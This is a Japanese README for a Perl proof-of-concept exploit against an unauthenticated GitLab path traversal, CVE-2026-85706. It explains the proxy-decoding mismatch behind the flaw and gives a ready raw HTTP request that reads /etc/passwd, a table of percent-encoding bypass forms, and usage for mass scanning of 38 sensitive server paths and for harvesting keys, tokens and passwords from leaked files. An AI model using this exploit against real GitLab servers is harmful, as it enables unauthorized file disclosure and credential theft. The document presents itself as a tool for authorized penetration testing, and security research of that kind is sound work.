
Perl PoC は CVE-2026-85706 を悪用します。これは認証不要の GitLab パストラバーサルで、任意ファイル読み取りを可能にし、一括スキャンと認証情報の収集を備えています。
認可されたペネトレーションテストおよびレッドチーム作戦専用です。
不正使用は犯罪行為に該当します。法的通知を参照してください。
CVE-2026-85706 は、GitLab Community Edition および Enterprise Edition における CVSS 10.0 のパストラバーサル脆弱性であり、完全に未認証の攻撃者が単一の HTTP リクエストでサーバーのファイルシステムから任意のファイルを読み取ることを可能にします。認証情報、トークン、ユーザーの操作は一切不要です。
| ブランチ | 脆弱な範囲 | 修正バージョン |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLab の HTTP スタックは3つの層で構成されています:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse はスマートリバースプロキシとして機能します。特定の「アップロード」エンドポイント(リポジトリのコミット、ファイル操作など)では、multipart リクエストボディを読み取り、ファイルデータをディスクに保存し、リクエストを書き換えてから Puma に転送します。重要な点として、プロキシするすべてのリクエストに JWT ヘッダー(Gitlab-Workhorse-Api-Request)を付与します。その後 Rails は、ハンドラロジックを実行する前にこの JWT を(require_gitlab_workhorse! を介して)検証します。
レイヤー 1 — Workhorse のルートマッチング:
Workhorse は、生のパーセントエンコードされたバイト文字列に対して動作するコンパイル済み正規表現を使用してリクエストパスをマッチングします。マッチングの前に %XX シーケンスをデコードしません。
レイヤー 2 — Puma/Rack のルーティング:
Puma は、Grape がリクエストをルーティングする前に %XX シーケンスをデコードします。そのため、/repository/%63ommits へのリクエストは /repository/commits にデコードされ、CommitsController にルーティングされます。
レイヤー 3 — 認証前のファイル読み取り:
Rails ハンドラ(Workhorse がリクエストをマッチしなかったため、Workhorse の JWT なしで到達する)に入ると、ハンドラはクエリ文字列から params[:file][:path] を読み取り、次を呼び出します:
File.open(params[:file][:path]) # ← happens BEFORE authentication
静的パスセグメント内の1文字をパーセントエンコードすることで、攻撃者のリクエストはWorkhorseを検知されずにすり抜けます:
| セグメント | 元の形式 | バイパス形式 | エンコード文字 |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (任意) | commits | commits/ | 末尾スラッシュ |
| (任意) | commits | commits.json | Grapeサフィックス |
ファイルが開かれた後、コンテンツはRackのクエリ文字列パーサーを介して窃取されます:
Rack::Utils.parse_nested_query(File.read(path))
ファイルに % が含まれていて、その後に有効な16進数2桁が続かない場合(Rubyの設定ファイル、CI YAML、ログなどでよくある)、Rackは次の例外を発生させます:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
この400レスポンスのボディには、問題となるバイトまでを含む生のファイル内容が含まれており、未認証の呼び出し元にファイルの内容が露呈します。
悪用可能な%シーケンスを含まないファイル(例:クリーンな/etc/passwd)は、読み取り後に401またはパラメータ検証エラーを返します。これはファイル存在オラクルとして機能します(読み取り自体は認証前に実行されています)。
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| テクニック | ID | この PoC での実装 |
|---|---|---|
| File and Directory Discovery | T1083 | --scan モードで 38 個の機密サーバーパスを探索 |
| Credentials In Files | T1552.001 | --harvest で漏洩コンテンツからキー/トークン/パスワードを抽出 |
| モジュール | パッケージ | 役割 |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP クライアント(必須) |
LWP::Protocol::https | libwww-perl | HTTPS サポート(必須) |
URI::Escape | liburi-perl | クエリ文字列のエンコード(必須) |
Term::ANSIColor | libterm-ansicolor-perl | 色付き出力(任意) |
JSON | libjson-perl | JSON 出力モード(任意) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| クイック(デフォルト) | フル(--full) | |
|---|---|---|
| リクエスト数 | ≤9(1 プリフライト + ≤4×2) | 27+ |
| 早期終了 | あり — 最初に確認された差分で停止 | なし — 全 22 形式をスイープ |
| バージョン情報 | なし | あり |
| バイパス形式 | 代表的な Files API 4 形式 | 全 22 形式(Commits + Files API) |
| 最適な用途 | 高速な偵察、大量のホストリスト | ペネトレーションテストレポート、--file/--scan の準備 |
クイックチェックのパイプライン:
GET /api/v4/version — 到達性 + GitLab のヒント/etc/hostname + 一意の canary をプローブcanary → 'local file not present' ∧ hostname ≠ canary → 脆弱(即座に終了)フルチェックのパイプライン(--full):
--project-id とチェックモード--project-id フラグは、--check や --check-host-list を含むすべてのモードで使用できます。その相互作用を理解しておきましょう:
| バイパスグループ | 形式 | プロジェクト ID への依存 |
|---|---|---|
Files API(%66iles、%46iles、re%70ository/files、…) | 14 | なし — CVE の設計上、ファイル読み取りがプロジェクトチェックより先に行われます。任意の ID(存在しないものでも)が正しいシグナルを生成します。 |
Commits API(%63ommits、%43ommits、repository/commits/、…) | 8 | 必須 — プロジェクトが存在し、匿名で読み取り可能である必要があります。そうでない場合は project-gate を返します。 |
実践的なガイダンス:
--check(クイック): Files API 形式のみを使用 → プロジェクト ID は無関係。--check --full: 全 22 形式をテストします。公開プロジェクト ID を知っている場合は、--project-id <N> を渡して Commits API 形式も確認してください。--check-host-list: 単一の --project-id がすべてのホストで公開プロジェクトに対応することはまれです。省略してください。# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)